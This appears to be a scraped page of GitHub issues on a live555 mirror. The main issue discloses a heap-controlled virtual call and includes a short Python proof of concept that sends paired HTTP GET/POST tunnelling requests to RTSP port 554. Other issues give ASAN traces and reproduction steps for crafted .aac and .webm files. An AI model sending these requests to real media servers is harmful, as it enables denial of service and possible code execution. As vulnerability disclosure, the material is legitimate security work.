I only need to send two HTTP requests in one TCP connection.

The problem occurrs in RTSPServer.cpp:853 , it calls handleHTTPCmd_TunnelingPOST.

If I send a HTTP GET packet with a specific sessionCookie firstly, then I send a HTTP POST packet with this sessionCookie in the same TCP connection.

RTSPServer will call a error virtual function pointer in readSocket function(GroupsockHepler.cpp) and the pointer value comes from heap which may control.

Attack PoC python code:

from socket import *
target_ip = REMOTE_SERVER_IP
target_port = 554  # or 8554

tcp = socket(AF_INET,SOCK_STREAM)
tcp.connect((target_ip,target_port))

http_request_GET = '''GET / HTTP/1.1\r
x-sessioncookie: AAAAABBBBBB\r
Accept: application/text\r\n\r\n'''

http_request_POST = '''POST / HTTP/1.1\r
x-sessioncookie: AAAAABBBBBB\r
Accept: application/text\r\n\r
This is test data\r\n'''

tcp.send(http_request_GET)
data = tcp.recv(1024)

tcp.send(http_request_POST)
tcp.close()

You can just build a test demo according to https://github.com/rgaufman/live555 and attack the bin live555MediaServer for verification.

Original vulnerability discoverer:
许彬彬 Xubinbin

IMPACT

It will cause dos attack and potential remote command execution in version 0.93(I verified) , even all earlier versions (This is just my unverified guess).

SEGV bug

There is a Null pointer bug in Live555 in this repo, triggered by a faulty multimedia file of type ".aac"

ASAN Output:

==2680==ERROR: AddressSanitizer: SEGV on unknown address 0x00000000009c (pc 0x00000044b3a0 bp 0x60b00000a758 sp 0x7ffc65d15a40 T0)
    #0 0x44b39f in ADTSAudioFileServerMediaSubsession::createNewRTPSink(Groupsock*, unsigned char, FramedSource*) (/home/ubuntu/experiments/live555-cov/testProgs/testOnDemandRTSPServer+0x44b39f)
    #1 0x4d70ce in OnDemandServerMediaSubsession::getStreamParameters(unsigned int, unsigned int, Port const&, Port const&, int, unsigned char, unsigned char, unsigned int&, unsigned char&, unsigned char&, Port&, Port&, void*&) (/home/ubuntu/experiments/live555-cov/testProgs/testOnDemandRTSPServer+0x4d70ce)
    #2 0x416ae2 in RTSPServer::RTSPClientSession::handleCmd_SETUP(RTSPServer::RTSPClientConnection*, char const*, char const*, char const*) (/home/ubuntu/experiments/live555-cov/testProgs/testOnDemandRTSPServer+0x416ae2)
    #3 0x41067a in RTSPServer::RTSPClientConnection::handleRequestBytes(int) (/home/ubuntu/experiments/live555-cov/testProgs/testOnDemandRTSPServer+0x41067a)
    #4 0x40ae4d in GenericMediaServer::ClientConnection::incomingRequestHandler() (/home/ubuntu/experiments/live555-cov/testProgs/testOnDemandRTSPServer+0x40ae4d)
    #5 0x40af10 in GenericMediaServer::ClientConnection::incomingRequestHandler(void*, int) (/home/ubuntu/experiments/live555-cov/testProgs/testOnDemandRTSPServer+0x40af10)
    #6 0x514415 in BasicTaskScheduler::SingleStep(unsigned int) (/home/ubuntu/experiments/live555-cov/testProgs/testOnDemandRTSPServer+0x514415)
    #7 0x518f0f in BasicTaskScheduler0::doEventLoop(char volatile*) (/home/ubuntu/experiments/live555-cov/testProgs/testOnDemandRTSPServer+0x518f0f)
    #8 0x404bd9 in main (/home/ubuntu/experiments/live555-cov/testProgs/testOnDemandRTSPServer+0x404bd9)
    #9 0x7febfa3b683f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2083f)
    #10 0x407108 in _start (/home/ubuntu/experiments/live555-cov/testProgs/testOnDemandRTSPServer+0x407108)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV ??:0 ADTSAudioFileServerMediaSubsession::createNewRTPSink(Groupsock*, unsigned char, FramedSource*)
==2680==ABORTING

To reproduce:

1- Unzip the attached file
2- Copy the ".aac" file into testProgs/test.aac
3- Run the server as: ./testOnDemandRTSPServer 8554
4- Get connected to the server and try to play the multimedia

live_Nptr_test_id64.aac.zip

linux build failed

./genMakefiles linux
make -j4

error msg:
include/TLSState.hh:34:10: fatal error: openssl/ssl.h: No such file or directory
34 | #include <openssl/ssl.h>
| ^~~~~~~~~~~~~~~
compilation terminated.

Heap Use After Free (#2) bug

There is a Heap Use After Free bug in Live555 in this repository. (This bug is fixed in the last version of Live555 in 2022 )
Here is the ASAN output:
`==2355==ERROR: AddressSanitizer: heap-use-after-free on address 0x62b000007250 at pc 0x000000467da7 bp 0x7ffc991884d0 sp 0x7ffc991884c0
READ of size 4 at 0x62b000007250 thread T0
#0 0x467da6 in MPEG1or2Demux::newElementaryStream(unsigned char) (/home/ubuntu/experiments/live555-cov/testProgs/testOnDemandRTSPServer+0x467da6)
#1 0x44803f in MPEG1or2FileServerDemux::newElementaryStream(unsigned int, unsigned char) (/home/ubuntu/experiments/live555-cov/testProgs/testOnDemandRTSPServer+0x44803f)
#2 0x4485d0 in MPEG1or2DemuxedServerMediaSubsession::createNewStreamSource(unsigned int, unsigned int&) (/home/ubuntu/experiments/live555-cov/testProgs/testOnDemandRTSPServer+0x4485d0)
#3 0x4d6577 in OnDemandServerMediaSubsession::getStreamParameters(unsigned int, unsigned int, Port const&, Port const&, int, unsigned char, unsigned char, unsigned int&, unsigned char&, unsigned char&, Port&, Port&, void*&) (/home/ubuntu/experiments/live555-cov/testPr
ogs/testOnDemandRTSPServer+0x4d6577)
#4 0x416ae2 in RTSPServer::RTSPClientSession::handleCmd_SETUP(RTSPServer::RTSPClientConnection*, char const*, char const*, char const*) (/home/ubuntu/experiments/live555-cov/testProgs/testOnDemandRTSPServer+0x416ae2)
#5 0x41067a in RTSPServer::RTSPClientConnection::handleRequestBytes(int) (/home/ubuntu/experiments/live555-cov/testProgs/testOnDemandRTSPServer+0x41067a)
#6 0x40ae4d in GenericMediaServer::ClientConnection::incomingRequestHandler() (/home/ubuntu/experiments/live555-cov/testProgs/testOnDemandRTSPServer+0x40ae4d)
#7 0x40af10 in GenericMediaServer::ClientConnection::incomingRequestHandler(void*, int) (/home/ubuntu/experiments/live555-cov/testProgs/testOnDemandRTSPServer+0x40af10)
#8 0x514415 in BasicTaskScheduler::SingleStep(unsigned int) (/home/ubuntu/experiments/live555-cov/testProgs/testOnDemandRTSPServer+0x514415)
#9 0x518f0f in BasicTaskScheduler0::doEventLoop(char volatile*) (/home/ubuntu/experiments/live555-cov/testProgs/testOnDemandRTSPServer+0x518f0f)
#10 0x404bd9 in main (/home/ubuntu/experiments/live555-cov/testProgs/testOnDemandRTSPServer+0x404bd9)
#11 0x7f2a149c283f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2083f)
#12 0x407108 in _start (/home/ubuntu/experiments/live555-cov/testProgs/testOnDemandRTSPServer+0x407108)

0x62b000007250 is located 80 bytes inside of 24680-byte region [0x62b000007200,0x62b00000d268)
freed by thread T0 here:
#0 0x7f2a155a9b2a in operator delete(void*) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x99b2a)
#1 0x4675d0 in MPEG1or2Demux::~MPEG1or2Demux() (/home/ubuntu/experiments/live555-cov/testProgs/testOnDemandRTSPServer+0x4675d0)

previously allocated by thread T0 here:
#0 0x7f2a155a9532 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x99532)
#1 0x467a83 in MPEG1or2Demux::createNew(UsageEnvironment&, FramedSource*, unsigned char) (/home/ubuntu/experiments/live555-cov/testProgs/testOnDemandRTSPServer+0x467a83)

SUMMARY: AddressSanitizer: heap-use-after-free ??:0 MPEG1or2Demux::newElementaryStream(unsigned char)
Shadow bytes around the buggy address:
0x0c567fff8df0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c567fff8e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c567fff8e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c567fff8e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c567fff8e30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c567fff8e40: fd fd fd fd fd fd fd fd fd fd[fd]fd fd fd fd fd
0x0c567fff8e50: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c567fff8e60: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c567fff8e70: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c567fff8e80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c567fff8e90: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==2355==ABORTING
`

To reproduce:

  1. Copy attached test.webm file into testProgs/test.webm
  2. run the server
    Get connected to the server and try to play the multimedia.
live_HUAF_bug2_test.webm

hashtable rebuild()

哈希表rebuild的时候为什么指针每一个都去移动一遍,只需要把头指针变更一下就可以了 应该。
for (TableEntry** oldChainPtr = oldBuckets; oldSize > 0;
--oldSize, ++oldChainPtr) {
for (TableEntry* hPtr = *oldChainPtr; hPtr != NULL;
hPtr = *oldChainPtr) {
*oldChainPtr = hPtr->fNext;

  unsigned index = hashIndexFromKey(hPtr->key);

  hPtr->fNext = fBuckets[index];//插入在前面的单链表
  fBuckets[index] = hPtr;
}

}
这段是否可以改成
int i = 0 ;
for (TableEntry** oldChainPtr = oldBuckets; i < oldSize;
++i, ++oldChainPtr) {
fBuckets[i ]=*oldChainPtr;
}

Looking for git/repository for this module.

Hello,

Thanks for your mirror.
We're using this module in our project, but due to company inside policy, we must use the original git/repository of this project. But I only can find the 'tar.gz' source code package on live555 website.

So I'm wandering if you could please tell me is there any online git/repository of this module?

Thank you very much!
Contact: [email protected]

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.